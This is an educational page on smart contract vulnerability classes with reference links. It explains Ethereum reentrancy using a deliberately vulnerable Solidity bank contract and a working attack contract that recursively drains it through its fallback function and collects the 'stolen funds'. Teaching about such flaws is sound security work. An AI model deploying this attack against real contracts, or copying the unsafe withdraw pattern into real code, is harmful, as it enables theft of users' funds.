Vulnerability Classifications
Vulnerability Classifications¶
https://ethereum.org/en/developers/docs/smart-contracts/security/
https://ethereum.org/en/developers/tutorials/interact-with-other-contracts-from-solidity/
https://consensys.github.io/smart-contract-best-practices/
https://swcregistry.io/
https://github.com/smartdec/classification
Blockchain Vulnerabilities¶
ReEntrancy Attacks¶
This deepens on the order of how the contract does operations. This works because the withdraw function can be called more than once before it returns.
Bad ReEntrancy Code:
pragma solidity ^0.6.6;
contract simpleReentrancy {
mapping (address => uint) private balances;
function deposit() public payable {
require((balances[msg.sender] + msg.value) >= balances[msg.sender]);
balances[msg.sender] += msg.value;
}
function withdraw(uint withdrawAmount) public returns (uint) {
require(withdrawAmount <= balances[msg.sender]);
msg.sender.call.value(withdrawAmount)("");
balances[msg.sender] -= withdrawAmount;
return balances[msg.sender];
}
function getBalance() public view returns (uint){
return balances[msg.sender];
}
}
In the attack code the attack()
is called and a withdraw is called. Then the msg.sender.call.value(withdrawAmount)("");
line is executed before the balance is subtracted. This allows code to be run after the balance check but before it is removed from the balance. This is the fallback function show below. This recursively takes the money from the bank and transfers it into the address
Attack Code:
interface targetInterface{
function deposit() external payable;
function withdraw(uint withdrawAmount) external;
}
contract simpleReentrancyAttack{
targetInterface bankAddress = targetInterface(ADD_TARGET_ADDRESS);
uint amount = 1 ether;
function deposit() public payable{
bankAddress.deposit.value(amount)();
}
function getTargetBalance() public view returns(uint){
return address(bankAddress).balance;
}
function attack() public payable{
bankAddress.withdraw(amount);
}
function retrieveStolenFunds() public {
msg.sender.transfer(address(this).balance);
}
fallback () external payable{
if (address(bankAddress).balance >= amount){
bankAddress.withdraw(amount);
}
}
}